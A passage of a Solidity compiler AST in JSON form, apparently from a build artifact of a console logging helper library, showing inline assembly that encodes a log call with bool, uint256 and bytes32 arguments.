y":"mutable","name":"m5","nameLocation":"202357:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202349:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40486,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202349:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40488,"nodeType":"VariableDeclarationStatement","src":"202349:10:22"},{"assignments":[40490],"declarations":[{"constant":false,"id":40490,"mutability":"mutable","name":"m6","nameLocation":"202377:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40489,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202369:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40491,"nodeType":"VariableDeclarationStatement","src":"202369:10:22"},{"AST":{"nativeSrc":"202398:825:22","nodeType":"YulBlock","src":"202398:825:22","statements":[{"body":{"nativeSrc":"202441:313:22","nodeType":"YulBlock","src":"202441:313:22","statements":[{"nativeSrc":"202459:15:22","nodeType":"YulVariableDeclaration","src":"202459:15:22","value":{"kind":"number","nativeSrc":"202473:1:22","nodeType":"YulLiteral","src":"202473:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"202463:6:22","nodeType":"YulTypedName","src":"202463:6:22","type":""}]},{"body":{"nativeSrc":"202544:40:22","nodeType":"YulBlock","src":"202544:40:22","statements":[{"body":{"nativeSrc":"202573:9:22","nodeType":"YulBlock","src":"202573:9:22","statements":[{"nativeSrc":"202575:5:22","nodeType":"YulBreak","src":"202575:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"202561:6:22","nodeType":"YulIdentifier","src":"202561:6:22"},{"name":"w","nativeSrc":"202569:1:22","nodeType":"YulIdentifier","src":"202569:1:22"}],"functionName":{"name":"byte","nativeSrc":"202556:4:22","nodeType":"YulIdentifier","src":"202556:4:22"},"nativeSrc":"202556:15:22","nodeType":"YulFunctionCall","src":"202556:15:22"}],"functionName":{"name":"iszero","nativeSrc":"202549:6:22","nodeType":"YulIdentifier","src":"202549:6:22"},"nativeSrc":"202549:23:22","nodeType":"YulFunctionCall","src":"202549:23:22"},"nativeSrc":"202546:36:22","nodeType":"YulIf","src":"202546:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"202501:6:22","nodeType":"YulIdentifier","src":"202501:6:22"},{"kind":"number","nativeSrc":"202509:4:22","nodeType":"YulLiteral","src":"202509:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"202498:2:22","nodeType":"YulIdentifier","src":"202498:2:22"},"nativeSrc":"202498:16:22","nodeType":"YulFunctionCall","src":"202498:16:22"},"nativeSrc":"202491:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"202515:28:22","nodeType":"YulBlock","src":"202515:28:22","statements":[{"nativeSrc":"202517:24:22","nodeType":"YulAssignment","src":"202517:24:22","value":{"arguments":[{"name":"length","nativeSrc":"202531:6:22","nodeType":"YulIdentifier","src":"202531:6:22"},{"kind":"number","nativeSrc":"202539:1:22","nodeType":"YulLiteral","src":"202539:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"202527:3:22","nodeType":"YulIdentifier","src":"202527:3:22"},"nativeSrc":"202527:14:22","nodeType":"YulFunctionCall","src":"202527:14:22"},"variableNames":[{"name":"length","nativeSrc":"202517:6:22","nodeType":"YulIdentifier","src":"202517:6:22"}]}]},"pre":{"nativeSrc":"202495:2:22","nodeType":"YulBlock","src":"202495:2:22","statements":[]},"src":"202491:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"202608:3:22","nodeType":"YulIdentifier","src":"202608:3:22"},{"name":"length","nativeSrc":"202613:6:22","nodeType":"YulIdentifier","src":"202613:6:22"}],"functionName":{"name":"mstore","nativeSrc":"202601:6:22","nodeType":"YulIdentifier","src":"202601:6:22"},"nativeSrc":"202601:19:22","nodeType":"YulFunctionCall","src":"202601:19:22"},"nativeSrc":"202601:19:22","nodeType":"YulExpressionStatement","src":"202601:19:22"},{"nativeSrc":"202637:37:22","nodeType":"YulVariableDeclaration","src":"202637:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"202654:3:22","nodeType":"YulLiteral","src":"202654:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"202663:1:22","nodeType":"YulLiteral","src":"202663:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"202666:6:22","nodeType":"YulIdentifier","src":"202666:6:22"}],"functionName":{"name":"shl","nativeSrc":"202659:3:22","nodeType":"YulIdentifier","src":"202659:3:22"},"nativeSrc":"202659:14:22","nodeType":"YulFunctionCall","src":"202659:14:22"}],"functionName":{"name":"sub","nativeSrc":"202650:3:22","nodeType":"YulIdentifier","src":"202650:3:22"},"nativeSrc":"202650:24:22","nodeType":"YulFunctionCall","src":"202650:24:22"},"variables":[{"name":"shift","nativeSrc":"202641:5:22","nodeType":"YulTypedName","src":"202641:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"202702:3:22","nodeType":"YulIdentifier","src":"202702:3:22"},{"kind":"number","nativeSrc":"202707:4:22","nodeType":"YulLiteral","src":"202707:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"202698:3:22","nodeType":"YulIdentifier","src":"202698:3:22"},"nativeSrc":"202698:14:22","nodeType":"YulFunctionCall","src":"202698:14:22"},{"arguments":[{"name":"shift","nativeSrc":"202718:5:22","nodeType":"YulIdentifier","src":"202718:5:22"},{"arguments":[{"name":"shift","nativeSrc":"202729:5:22","nodeType":"YulIdentifier","src":"202729:5:22"},{"name":"w","nativeSrc":"202736:1:22","nodeType":"YulIdentifier","src":"202736:1:22"}],"functionName":{"name":"shr","nativeSrc":"202725:3:22","nodeType":"YulIdentifier","src":"202725:3:22"},"nativeSrc":"202725:13:22","nodeType":"YulFunctionCall","src":"202725:13:22"}],"functionName":{"name":"shl","nativeSrc":"202714:3:22","nodeType":"YulIdentifier","src":"202714:3:22"},"nativeSrc":"202714:25:22","nodeType":"YulFunctionCall","src":"202714:25:22"}],"functionName":{"name":"mstore","nativeSrc":"202691:6:22","nodeType":"YulIdentifier","src":"202691:6:22"},"nativeSrc":"202691:49:22","nodeType":"YulFunctionCall","src":"202691:49:22"},"nativeSrc":"202691:49:22","nodeType":"YulExpressionStatement","src":"202691:49:22"}]},"name":"writeString","nativeSrc":"202412:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"202433:3:22","nodeType":"YulTypedName","src":"202433:3:22","type":""},{"name":"w","nativeSrc":"202438:1:22","nodeType":"YulTypedName","src":"202438:1:22","type":""}],"src":"202412:342:22"},{"nativeSrc":"202767:17:22","nodeType":"YulAssignment","src":"202767:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202779:4:22","nodeType":"YulLiteral","src":"202779:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"202773:5:22","nodeType":"YulIdentifier","src":"202773:5:22"},"nativeSrc":"202773:11:22","nodeType":"YulFunctionCall","src":"202773:11:22"},"variableNames":[{"name":"m0","nativeSrc":"202767:2:22","nodeType":"YulIdentifier","src":"202767:2:22"}]},{"nativeSrc":"202797:17:22","nodeType":"YulAssignment","src":"202797:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202809:4:22","nodeType":"YulLiteral","src":"202809:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"202803:5:22","nodeType":"YulIdentifier","src":"202803:5:22"},"nativeSrc":"202803:11:22","nodeType":"YulFunctionCall","src":"202803:11:22"},"variableNames":[{"name":"m1","nativeSrc":"202797:2:22","nodeType":"YulIdentifier","src":"202797:2:22"}]},{"nativeSrc":"202827:17:22","nodeType":"YulAssignment","src":"202827:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202839:4:22","nodeType":"YulLiteral","src":"202839:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"202833:5:22","nodeType":"YulIdentifier","src":"202833:5:22"},"nativeSrc":"202833:11:22","nodeType":"YulFunctionCall","src":"202833:11:22"},"variableNames":[{"name":"m2","nativeSrc":"202827:2:22","nodeType":"YulIdentifier","src":"202827:2:22"}]},{"nativeSrc":"202857:17:22","nodeType":"YulAssignment","src":"202857:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202869:4:22","nodeType":"YulLiteral","src":"202869:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"202863:5:22","nodeType":"YulIdentifier","src":"202863:5:22"},"nativeSrc":"202863:11:22","nodeType":"YulFunctionCall","src":"202863:11:22"},"variableNames":[{"name":"m3","nativeSrc":"202857:2:22","nodeType":"YulIdentifier","src":"202857:2:22"}]},{"nativeSrc":"202887:17:22","nodeType":"YulAssignment","src":"202887:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202899:4:22","nodeType":"YulLiteral","src":"202899:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"202893:5:22","nodeType":"YulIdentifier","src":"202893:5:22"},"nativeSrc":"202893:11:22","nodeType":"YulFunctionCall","src":"202893:11:22"},"variableNames":[{"name":"m4","nativeSrc":"202887:2:22","nodeType":"YulIdentifier","src":"202887:2:22"}]},{"nativeSrc":"202917:17:22","nodeType":"YulAssignment","src":"202917:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202929:4:22","nodeType":"YulLiteral","src":"202929:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"202923:5:22","nodeType":"YulIdentifier","src":"202923:5:22"},"nativeSrc":"202923:11:22","nodeType":"YulFunctionCall","src":"202923:11:22"},"variableNames":[{"name":"m5","nativeSrc":"202917:2:22","nodeType":"YulIdentifier","src":"202917:2:22"}]},{"nativeSrc":"202947:17:22","nodeType":"YulAssignment","src":"202947:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"202959:4:22","nodeType":"YulLiteral","src":"202959:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"202953:5:22","nodeType":"YulIdentifier","src":"202953:5:22"},"nativeSrc":"202953:11:22","nodeType":"YulFunctionCall","src":"202953:11:22"},"variableNames":[{"name":"m6","nativeSrc":"202947:2:22","nodeType":"YulIdentifier","src":"202947:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203044:4:22","nodeType":"YulLiteral","src":"203044:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"203050:10:22","nodeType":"YulLiteral","src":"203050:10:22","type":"","value":"0xe5e70b2b"}],"functionName":{"name":"mstore","nativeSrc":"203037:6:22","nodeType":"YulIdentifier","src":"203037:6:22"},"nativeSrc":"203037:24:22","nodeType":"YulFunctionCall","src":"203037:24:22"},"nativeSrc":"203037:24:22","nodeType":"YulExpressionStatement","src":"203037:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203081:4:22","nodeType":"YulLiteral","src":"203081:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"203087:2:22","nodeType":"YulIdentifier","src":"203087:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203074:6:22","nodeType":"YulIdentifier","src":"203074:6:22"},"nativeSrc":"203074:16:22","nodeType":"YulFunctionCall","src":"203074:16:22"},"nativeSrc":"203074:16:22","nodeType":"YulExpressionStatement","src":"203074:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203110:4:22","nodeType":"YulLiteral","src":"203110:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"203116:2:22","nodeType":"YulIdentifier","src":"203116:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203103:6:22","nodeType":"YulIdentifier","src":"203103:6:22"},"nativeSrc":"203103:16:22","nodeType":"YulFunctionCall","src":"203103:16:22"},"nativeSrc":"203103:16:22","nodeType":"YulExpressionStatement","src":"203103:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203139:4:22","nodeType":"YulLiteral","src":"203139:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"203145:4:22","nodeType":"YulLiteral","src":"203145:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"203132:6:22","nodeType":"YulIdentifier","src":"203132:6:22"},"nativeSrc":"203132:18:22","nodeType":"YulFunctionCall","src":"203132:18:22"},"nativeSrc":"203132:18:22","nodeType":"YulExpressionStatement","src":"203132:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203170:4:22","nodeType":"YulLiteral","src":"203170:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"203176:2:22","nodeType":"YulIdentifier","src":"203176:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203163:6:22","nodeType":"YulIdentifier","src":"203163:6:22"},"nativeSrc":"203163:16:22","nodeType":"YulFunctionCall","src":"203163:16:22"},"nativeSrc":"203163:16:22","nodeType":"YulExpressionStatement","src":"203163:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203204:4:22","nodeType":"YulLiteral","src":"203204:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"203210:2:22","nodeType":"YulIdentifier","src":"203210:2:22"}],"functionName":{"name":"writeString","nativeSrc":"203192:11:22","nodeType":"YulIdentifier","src":"203192:11:22"},"nativeSrc":"203192:21:22","nodeType":"YulFunctionCall","src":"203192:21:22"},"nativeSrc":"203192:21:22","nodeType":"YulExpressionStatement","src":"203192:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40472,"isOffset":false,"isSlot":false,"src":"202767:2:22","valueSize":1},{"declaration":40475,"isOffset":false,"isSlot":false,"src":"202797:2:22","valueSize":1},{"declaration":40478,"isOffset":false,"isSlot":false,"src":"202827:2:22","valueSize":1},{"declaration":40481,"isOffset":false,"isSlot":false,"src":"202857:2:22","valueSize":1},{"declaration":40484,"isOffset":false,"isSlot":false,"src":"202887:2:22","valueSize":1},{"declaration":40487,"isOffset":false,"isSlot":false,"src":"202917:2:22","valueSize":1},{"declaration":40490,"isOffset":false,"isSlot":false,"src":"202947:2:22","valueSize":1},{"declaration":40462,"isOffset":false,"isSlot":false,"src":"203087:2:22","valueSize":1},{"declaration":40464,"isOffset":false,"isSlot":false,"src":"203116:2:22","valueSize":1},{"declaration":40466,"isOffset":false,"isSlot":false,"src":"203210:2:22","valueSize":1},{"declaration":40468,"isOffset":false,"isSlot":false,"src":"203176:2:22","valueSize":1}],"id":40492,"nodeType":"InlineAssembly","src":"202389:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40494,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"203248:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40495,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"203254:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40493,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"203232:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40496,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"203232:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40497,"nodeType":"ExpressionStatement","src":"203232:27:22"},{"AST":{"nativeSrc":"203278:214:22","nodeType":"YulBlock","src":"203278:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"203299:4:22","nodeType":"YulLiteral","src":"203299:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"203305:2:22","nodeType":"YulIdentifier","src":"203305:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203292:6:22","nodeType":"YulIdentifier","src":"203292:6:22"},"nativeSrc":"203292:16:22","nodeType":"YulFunctionCall","src":"203292:16:22"},"nativeSrc":"203292:16:22","nodeType":"YulExpressionStatement","src":"203292:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203328:4:22","nodeType":"YulLiteral","src":"203328:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"203334:2:22","nodeType":"YulIdentifier","src":"203334:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203321:6:22","nodeType":"YulIdentifier","src":"203321:6:22"},"nativeSrc":"203321:16:22","nodeType":"YulFunctionCall","src":"203321:16:22"},"nativeSrc":"203321:16:22","nodeType":"YulExpressionStatement","src":"203321:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203357:4:22","nodeType":"YulLiteral","src":"203357:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"203363:2:22","nodeType":"YulIdentifier","src":"203363:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203350:6:22","nodeType":"YulIdentifier","src":"203350:6:22"},"nativeSrc":"203350:16:22","nodeType":"YulFunctionCall","src":"203350:16:22"},"nativeSrc":"203350:16:22","nodeType":"YulExpressionStatement","src":"203350:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203386:4:22","nodeType":"YulLiteral","src":"203386:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"203392:2:22","nodeType":"YulIdentifier","src":"203392:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203379:6:22","nodeType":"YulIdentifier","src":"203379:6:22"},"nativeSrc":"203379:16:22","nodeType":"YulFunctionCall","src":"203379:16:22"},"nativeSrc":"203379:16:22","nodeType":"YulExpressionStatement","src":"203379:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203415:4:22","nodeType":"YulLiteral","src":"203415:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"203421:2:22","nodeType":"YulIdentifier","src":"203421:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203408:6:22","nodeType":"YulIdentifier","src":"203408:6:22"},"nativeSrc":"203408:16:22","nodeType":"YulFunctionCall","src":"203408:16:22"},"nativeSrc":"203408:16:22","nodeType":"YulExpressionStatement","src":"203408:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203444:4:22","nodeType":"YulLiteral","src":"203444:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"203450:2:22","nodeType":"YulIdentifier","src":"203450:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203437:6:22","nodeType":"YulIdentifier","src":"203437:6:22"},"nativeSrc":"203437:16:22","nodeType":"YulFunctionCall","src":"203437:16:22"},"nativeSrc":"203437:16:22","nodeType":"YulExpressionStatement","src":"203437:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"203473:4:22","nodeType":"YulLiteral","src":"203473:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"203479:2:22","nodeType":"YulIdentifier","src":"203479:2:22"}],"functionName":{"name":"mstore","nativeSrc":"203466:6:22","nodeType":"YulIdentifier","src":"203466:6:22"},"nativeSrc":"203466:16:22","nodeType":"YulFunctionCall","src":"203466:16:22"},"nativeSrc":"203466:16:22","nodeType":"YulExpressionStatement","src":"203466:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40472,"isOffset":false,"isSlot":false,"src":"203305:2:22","valueSize":1},{"declaration":40475,"isOffset":false,"isSlot":false,"src":"203334:2:22","valueSize":1},{"declaration":40478,"isOffset":false,"isSlot":false,"src":"203363:2:22","valueSize":1},{"declaration":40481,"isOffset":false,"isSlot":false,"src":"203392:2:22","valueSize":1},{"declaration":40484,"isOffset":false,"isSlot":false,"src":"203421:2:22","valueSize":1},{"declaration":40487,"isOffset":false,"isSlot":false,"src":"203450:2:22","valueSize":1},{"declaration":40490,"isOffset":false,"isSlot":false,"src":"203479:2:22","valueSize":1}],"id":40498,"nodeType":"InlineAssembly","src":"203269:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"202179:3:22","parameters":{"id":40469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40462,"mutability":"mutable","name":"p0","nameLocation":"202188:2:22","nodeType":"VariableDeclaration","scope":40500,"src":"202183:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40461,"name":"bool","nodeType":"ElementaryTypeName","src":"202183:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40464,"mutability":"mutable","name":"p1","nameLocation":"202200:2:22","nodeType":"VariableDeclaration","scope":40500,"src":"202192:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40463,"name":"uint256","nodeType":"ElementaryTypeName","src":"202192:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40466,"mutability":"mutable","name":"p2","nameLocation":"202212:2:22","nodeType":"VariableDeclaration","scope":40500,"src":"202204:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40465,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202204:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40468,"mutability":"mutable","name":"p3","nameLocation":"202221:2:22","nodeType":"VariableDeclaration","scope":40500,"src":"202216:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40467,"name":"bool","nodeType":"ElementaryTypeName","src":"202216:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"202182:42:22"},"returnParameters":{"id":40470,"nodeType":"ParameterList","parameters":[],"src":"202239:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40540,"nodeType":"FunctionDefinition","src":"203504:1334:22","nodes":[],"body":{"id":40539,"nodeType":"Block","src":"203576:1262:22","nodes":[],"statements":[{"assignments":[40512],"declarations":[{"constant":false,"id":40512,"mutability":"mutable","name":"m0","nameLocation":"203594:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203586:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40511,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203586:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40513,"nodeType":"VariableDeclarationStatement","src":"203586:10:22"},{"assignments":[40515],"declarations":[{"constant":false,"id":40515,"mutability":"mutable","name":"m1","nameLocation":"203614:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203606:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40514,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203606:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40516,"nodeType":"VariableDeclarationStatement","src":"203606:10:22"},{"assignments":[40518],"declarations":[{"constant":false,"id":40518,"mutability":"mutable","name":"m2","nameLocation":"203634:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203626:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40517,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203626:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40519,"nodeType":"VariableDeclarationStatement","src":"203626:10:22"},{"assignments":[40521],"declarations":[{"constant":false,"id":40521,"mutability":"mutable","name":"m3","nameLocation":"203654:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203646:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40520,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203646:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40522,"nodeType":"VariableDeclarationStatement","src":"203646:10:22"},{"assignments":[40524],"declarations":[{"constant":false,"id":40524,"mutability":"mutable","name":"m4","nameLocation":"203674:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203666:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40523,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203666:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40525,"nodeType":"VariableDeclarationStatement","src":"203666:10:22"},{"assignments":[40527],"declarations":[{"constant":false,"id":40527,"mutability":"mutable","name":"m5","nameLocation":"203694:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203686:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40526,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203686:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40528,"nodeType":"VariableDeclarationStatement","src":"203686:10:22"},{"assignments":[40530],"declarations":[{"constant":false,"id":40530,"mutability":"mutable","name":"m6","nameLocation":"203714:2:22","nodeType":"VariableDeclaration","scope":40539,"src":"203706:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40529,"name":"bytes32","nodeType":"ElementaryTypeName","src":"203706:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40531,"nodeType":"VariableDeclarationStatement","src":"203706:10:22"},{"AST":{"nativeSrc":"203735:828:22","nodeType":"YulBlock","src":"203735:828:22","statements":[{"body":{"nativeSrc":"203778:313:22","nodeType":"YulBlock","src":"203778:313:22","statements":[{"nativeSrc":"203796:15:22","nodeType":"YulVariableDeclaration","src":"203796:15:22","value":{"kind":"number","nativeSrc":"203810:1:22","nodeType":"YulLiteral","src":"203810:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"203800:6:22","nodeType":"YulTypedName","src":"203800:6:22","type":""}]},{"body":{"nativeSrc":"203881:40:22","nodeType":"YulBlock","src":"203881:40:22","statements":[{"body":{"nativeSrc":"203910:9:22","nodeType":"YulBlock","src":"203910:9:22","statements":[{"nativeSrc":"203912:5:22","nodeType":"YulBreak","src":"203912:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"203898:6:22","nodeType":"YulIdentifier","src":"203898:6:22"},{"name":"w","nativeSrc":"203906:1:22","nodeType":"YulIdentifier","src":"203906:1:22"}],"functionName":{"name":"byte","nativeSrc":"203893:4:22","nodeType":"YulIdentifier","src":"203893:4:22"},"nativeSrc":"203893:15:22","nodeType":"YulFunctionCall","src":"203893:15:22"}],"functionName":{"name":"iszero","nativeSrc":"203886:6:22","nodeType":"YulIdentifier","src":"203886:6:22"},"nativeSrc":"203886:23:22","nodeType":"YulFunctionCall","src":"203886:23:22"},"nativeSrc":"203883:36:22","nodeType":"YulIf","src":"203883:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"203838:6:22","nodeType":"YulIdentifier","src":"203838:6:22"},{"kind":"number","nativeSrc":"203846:4:22","nodeType":"YulLiteral","src":"203846:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"203835:2:22","nodeType":"YulIdentifier","src":"203835:2:22"},"nativeSrc":"203835:16:22","nodeType":"YulFunctionCall","src":"203835:16:22"},"nativeSrc":"203828:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"203852:28:22","nodeType":"YulBlock","src":"203852:28:22","statements":[{"nativeSrc":"203854:24:22","nodeType":"YulAssignment","src":"203854:24:22","value":{"arguments":[{"name":"length","nativeSrc":"203868:6:22","nodeType":"YulIdentifier","src":"203868:6:22"},{"kind":"number","nativeSrc":"203876:1:22","nodeType":"YulLiteral","src":"203876:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"203864:3:22","nodeType":"YulIdentifier","src":"203864:3:22"},"nativeSrc":"203864:14:22","nodeType":"YulFunctionCall","src":"203864:14:22"},"variableNames":[{"name":"length","nativeSrc":"203854:6:22","nodeType":"YulIdentifier","src":"203854:6:22"}]}]},"pre":{"nativeSrc":"203832:2:22","nodeType":"YulBlock","src":"203832:2:22","statements":[]},"src":"203828:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"203945:3:22","nodeType":"YulIdentifier","src":"203945:3:22"},{"name":"length","nativeSrc":"203950:6:22","nodeType":"YulIdentifier","src":"203950:6:22"}],"functionName":{"name":"mstore","nativeSrc":"203938:6:22","nodeType":"YulIdentifier","src":"203938:6:22"},"nativeSrc":"203938:19:22","nodeType":"YulFunctionCall","src":"203938:19:22"},"nativeSrc":"203938:19:22","nodeType":"YulExpressionStatement","src":"203938:19:22"},{"nativeSrc":"2039